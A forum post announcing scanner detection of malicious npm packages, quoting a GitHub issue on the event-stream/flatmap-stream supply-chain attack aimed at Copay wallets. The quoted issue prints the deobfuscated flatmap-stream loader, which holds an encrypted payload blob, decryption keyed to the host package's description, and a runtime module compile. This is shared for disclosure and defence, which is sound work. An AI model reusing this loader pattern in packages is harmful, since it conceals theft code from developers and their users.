cfi
November 27, 2018, 10:45am
1
npm is a widely used package manager and software registry/repository for projects using the JavaScript programming language.
Since quite some time unknown threat actors are trying to inject / publish malicious npm packages into the software registry with the goal to e.g. discover and exfiltrate sensitive data (private SSH keys, bash history, credentials, environment variables).
Based on an article published a few months ago in Hunting Malicious npm Packages | Decipher a new VT to check for such malicious npm packages was created in June 2018:
Malicious npm package detection (OID: 1.3.6.1.4.1.25623.1.0.113208)
On authenticated scans against a Linux target (see requirements on target systems with linux for more information) the VT will report any detected malicious npm packages.
Just recently coverage for the package flatmap-stream (which had the goal to steal a bitcoin wallet from users of Copay) was added.
opened 09:26PM - 20 Nov 18 UTC
closed 08:22PM - 26 Nov 18 UTC
**EDIT 26/11/2018**:
* **Am I affected?**:
If you are using anything crypto… -currency related, then maybe. As discovered by @maths22, the target seems to have been identified as copay related libraries. It only executes successfully when a matching package is in use (assumed to be copay at this point). If you are using a crypto-currency related library and if you see `flatmap-stream@0.1.1` after running `npm ls event-stream flatmap-stream`, you are most likely affected. For example:
```
$ npm ls event-stream flatmap-stream
...
flatmap-stream@0.1.1
...
```
* **What does it do**:
Other users have done some good analysis of what these payloads actually do.
* https://github.com/dominictarr/event-stream/issues/116#issuecomment-441759047
* https://github.com/dominictarr/event-stream/issues/116#issuecomment-441746370
* https://github.com/dominictarr/event-stream/issues/116#issuecomment-441749105
* **What can I do**:
By this time fixes are being deployed and npm has yanked the malicious version. Ensure that the developer(s) of the package you are using are aware of this post. If you are a developer update your event-stream dependency to `event-stream@3.3.4`. **This protects people with cached versions of event-stream**.
___
@dominictarr Why was @right9ctrl given access to this repo? He added [flatmap-stream](https://github.com/hugeglass/flatmap-stream) which is entirely (1 commit to the repo but has 3 versions, the latest one removes the injection, unmaintained, created 3 months ago) an injection targeting [ps-tree](https://github.com/indexzero/ps-tree). After he adds it at almost the exact same time the injection is added to `flatmap-stream`, he bumps the version and publishes. Literally the second commit (3 days later) after that he removes the injection and bumps a major version so he can clear the repo of having `flatmap-stream` but still have everyone (millions of weekly installs) using 3.x affected.
@right9ctrl If you removed flatmap-stream because your realized it was an injection attack why didn't you yank `event-stream@3.3.6` from npm and put a PSA? If you didn't know, why did you choose to use a completely unused/unknown library (0 downloads on npm until you use it)? If I had the exact date from npm in which `flatmap-stream@0.1.1` was published I wouldn't be asking you questions.
I've included a break down of what I have so far on `flatmap-stream` below. It includes the portion of code not found in the **unminified** source of `flatmap-stream@0.1.1` but found in the **minified** source. The code has been cleaned up a little to get a better understanding.
The worst part is I still don't even know what this does... The decrypted data n[0] is byte code or something, not regular javascript, or maybe I'm just not handling it correctly.
```js
// var r = require, t = process;
// function e(r) {
// return Buffer.from(r, "hex").toString()
// }
function decode(data) {
return Buffer.from(data, "hex").toString()
}
// var n = r(e("2e2f746573742f64617461")),
// var n = require(decode("2e2f746573742f64617461"))
// var n = require('./test/data')
var n = ["75d4c87f3f69e0fa292969072c49dff4f90f44c1385d8eb60dae4cc3a229e52cf61f78b0822353b4304e323ad563bc22c98421eb6a8c1917e30277f716452ee8d57f9838e00f0c4e4ebd7818653f00e72888a4031676d8e2a80ca3cb00a7396ae3d140135d97c6db00cab172cbf9a92d0b9fb0f73ff2ee4d38c7f6f4b30990f2c97ef39ae6ac6c828f5892dd8457ab530a519cd236ebd51e1703bcfca8f9441c2664903af7e527c420d9263f4af58ccb5843187aa0da1cbb4b6aedfd1bdc6faf32f38a885628612660af8630597969125c917dfc512c53453c96c143a2a058ba91bc37e265b44c5874e594caaf53961c82904a95f1dd33b94e4dd1d00e9878f66dafc55fa6f2f77ec7e7e8fe28e4f959eab4707557b263ec74b2764033cd343199eeb6140a6284cb009a09b143dce784c2cd40dc320777deea6fbdf183f787fa7dd3ce2139999343b488a4f5bcf3743eecf0d30928727025ff3549808f7f711c9f7614148cf43c8aa7ce9b3fcc1cff4bb0df75cb2021d0f4afe5784fa80fed245ee3f0911762fffbc36951a78457b94629f067c1f12927cdf97699656f4a2c4429f1279c4ebacde10fa7a6f5c44b14bc88322a3f06bb0847f0456e630888e5b6c3f2b8f8489cd6bc082c8063eb03dd665badaf2a020f1448f3ae268c8d176e1d80cc756dc3fa02204e7a2f74b9da97f95644792ee87f1471b4c0d735589fc58b5c98fb21c8a8db551b90ce60d88e3f756cc6c8c4094aeaa12b149463a612ea5ea5425e43f223eb8071d7b991cfdf4ed59a96ccbe5bdb373d8febd00f8c7effa57f06116d850c2d9892582724b3585f1d71de83d54797a0bfceeb4670982232800a9b695d824a7ada3d41e568ecaa6629","db67fdbfc39c249c6f338194555a41928413b792ff41855e27752e227ba81571483c631bc659563d071bf39277ac3316bd2e1fd865d5ba0be0bbbef3080eb5f6dfdf43b4a678685aa65f30128f8f36633f05285af182be8efe34a2a8f6c9c6663d4af8414baaccd490d6e577b6b57bf7f4d9de5c71ee6bbffd70015a768218a991e1719b5428354d10449f41bac70e5afb1a3e03a52b89a19d4cc333e43b677f4ec750bf0be23fb50f235dd6019058fbc3077c01d013142d9018b076698536d2536b7a1a6a48f5485871f7dc487419e862b1a7493d840f14e8070c8eff54da8013fd3fe103db2ecebc121f82919efb697c2c47f79516708def7accd883d980d5618efd408c0fd46fd387911d1e72e16cf8842c5fe3477e4b46aa7bb34e3cf9caddfca744b6a21b5457beaccff83fa6fb6e8f3876e4764e0d4b5318e7f3eed34af757eb240615591d5369d4ab1493c8a9c366dfa3981b92405e5ebcbfd5dca2c6f9b8e8890a4635254e1bc26d2f7a986e29fef6e67f9a55b6faec78d54eb08cb2f8ea785713b2ffd694e7562cf2b06d38a0f97d0b546b9a121620b7f9d9ccca51b5e74df4bdd82d2a5e336a1d6452912650cc2e8ffc41bd7aa17ab17f60b2bd0cfc0c35ed82c71c0662980f1242c4523fae7a85ccd5e821fe239bfb33d38df78099fd34f429d75117e39b888344d57290b21732f267c22681e4f640bec9437b756d3002a3135564f1c5947cc7c96e1370db7af6db24c9030fb216d0ac1d9b2ca17cb3b3d5955ffcc3237973685a2c078e10bc6e36717b1324022c8840b9a755cffdef6a4d1880a4b6072fd1eb7aabebb9b949e1e37be6dfb6437c3fd0e6f135bcea65e2a06eb35ff26dcf2b2772f8d0cde8e5fa5eec577e9754f6b044502f8ce8838d36827bd3fe91cccba2a04c3ee90c133352cbad34951fdf21a671a4e3940fd69cfee172df4123a0f678154871afa80f763d78df971a1317200d0ce5304b3f01ace921ea8afb41ec800ab834d81740353101408733fb710e99657554c50a4a8cb0a51477a07d6870b681cdc0be0600d912a0c711dc9442260265d50e269f02eb49da509592e0996d02a36a0ce040fff7bd3be57e97d07e4de0cdb93b7e3ccea422a5a526fb95ea8508ea2a40010f56d4aa96da23e6e9bcbae09dacccdcd8ac6af96a1922266c3795fb0798affaa75b8ae05221612ce45c824d1f6603fe2afd74b9e167736bfffe01a12b9f85912572a291336c693f133efeac881cd09207505ad93967e3b7a8972cdcce208bfa3b9956370795791ca91a8b9deabde26c3ee2adb43e9f7df2df16d4582a4e610b73754e609b1eea936a4d916bf5ed9d627692bcc8ed0933026e9250d16bdaf2b68470608aeaffedcf2be8c4c176bfc620e3f9f17a4a9d8ef9fe46cca41a79878d37423c0fa9f3ee1f4e6d68f029d6cbb5cbc90e7243135e0fc1dd66297d32adabc9a6d0235709be173b688ba2004f518f58f5459caca60d615ae4dc0d0eeacbe48ca8727a8b42dc78396316a0e223029b76311e7607ea5bd236307ba3b62afeff7a1ef5c0b5d7ee760c0f6472359c57817c5d9cd534d9a34bb4847bbc83c37b14b6444e9f386f1bec4b42c65d1078d54bd007ff545028205099abc454919406408b761a1636d10e39ede9f650f25abad3219b9d46d535402b930488535d97d19be3b0e75fed31d0b2f8af099481685e2b4fa9bff05cbac1b9b405db2c7eae68501633e02723560727a1c8c34c32afc76cdeb82fe8bae34b09cd82402076b9f481d043b080d851c7b6ba8613adba3bc3d5edb9a84fce41130ad328fe4c062a76966cb60c4fa801f359d22b70a797a2c2a3d19da7383025cb2e076b9c30b862456ae4b60197101e82133748c224a1431545fde146d98723ccb79b47155b218914c76f5d52027c06c6c913450fc56527a34c3fe1349f38018a55910de819add6204ab2829668ca0b7afb0d00f00c873a3f18daad9ae662b09c775cddbe98b9e7a43f1f8318665027636d1de18b5a77f548e9ede3b73e3777c44ec962fb7a94c56d8b34c1da603b3fc250799aad48cc007263daf8969dbe9f8ade2ac66f5b66657d8b56050ff14d8f759dd2c7c0411d92157531cfc3ac9c981e327fd6b140fb2abf994fa91aecc2c4fef5f210f52d487f117873df6e847769c06db7f8642cd2426b6ce00d6218413fdbba5bbbebc4e94bffdef6985a0e800132fe5821e62f2c1d79ddb5656bd5102176d33d79cf4560453ca7fd3d3c3be0190ae356efaaf5e2892f0d80c437eade2d28698148e72fbe17f1fac993a1314052345b701d65bb0ea3710145df687bb17182cd3ad6c121afef20bf02e0100fd63cbbf498321795372398c983eb31f184fa1adbb24759e395def34e1a726c3604591b67928da6c6a8c5f96808edfc7990a585411ffe633bae6a3ed6c132b1547237cab6f3b24c57d3d4cd8e2fbbd9f7674ececf0f66b39c2591330acc1ac20732a98e9b61a3fd979f88ab7211acbf629fcb0c80fb5ed1ea55df0735dcf13510304652763a5ed7bde3e5ebda1bf72110789ebefa469b70f6b4add29ce1471fa6972df108717100412c804efcf8aaba277f0107b1c51f15f144ab02dd8f334d5b48caf24a4492979fa425c4c25c4d213408ecfeb82f34e7d20f26f65fa4e89db57582d6a928914ee6fc0c6cc0a9793aa032883ea5a2d2135dbfcf762f4a2e22585966be376d30fbfabb1dfd182e7b174097481763c04f5d7cbd060c5a36dc0e3dd235de1669f3db8747d5b74d8c1cc9ab3a919e257fb7e6809f15ab7c2506437ced02f03416a1240a555f842a11cde514c450a2f8536f25c60bbe0e1b013d8dd407e4cb171216e30835af7ca0d9e3ff33451c6236704b814c800ecc6833a0e66cd2c487862172bc8a1acb7786ddc4e05ba4e41ada15e0d6334a8bf51373722c26b96bbe4d704386469752d2cda5ca73f7399ff0df165abb720810a4dc19f76ca748a34cb3d0f9b0d800d7657f702284c6e818080d4d9c6fff481f76fb7a7c5d513eae7aa84484822f98a183e192f71ea4e53a45415ddb03039549b18bc6e1","63727970746f","656e76","6e706d5f7061636b6167655f6465736372697074696f6e","616573323536","6372656174654465636970686572","5f636f6d70696c65","686578","75746638"]
// o = t[e(n[3])][e(n[4])];
// npm_package_description = process[decode(n[3])][decode(n[4])];
// npm_package_description = process['env']['npm_package_description'];
npm_package_description = 'Get all children of a pid'; // Description from ps-tree (this is the aes decryption key)
// if (!o) return;
if (!npm_package_description) return;
// var u = r(e(n[2]))[e(n[6])](e(n[5]), o),
// var decipher = require(decode(n[2]))[decode(n[6])](decode(n[5]), npm_package_description),
var decipher = require('crypto')['createDecipher']('aes256', npm_package_description),
// a = u.update(n[0], e(n[8]), e(n[9]));
// decoded = decipher.update(n[0], e(n[8]), e(n[9]));
decoded = decipher.update(n[0], 'hex', 'utf8');
console.log(n); // IDK why this is here...
// a += u.final(e(n[9]));
decoded += decipher.final('utf8');
// var f = new module.constructor;
var newModule = new module.constructor;
/**************** DO NOT UNCOMMENT [THIS RUNS THE CODE] **************/
// f.paths = module.paths, f[e(n[7])](a, ""), f.exports(n[1])
// newModule.paths = module.paths, newModule['_compile'](decoded, ""), newModule.exports(n[1])
// newModule.paths = module.paths
// newModule['_compile'](decoded, "") // Module.prototype._compile = function(content, filename)
// newModule.exports(n[1])
```
3 Likes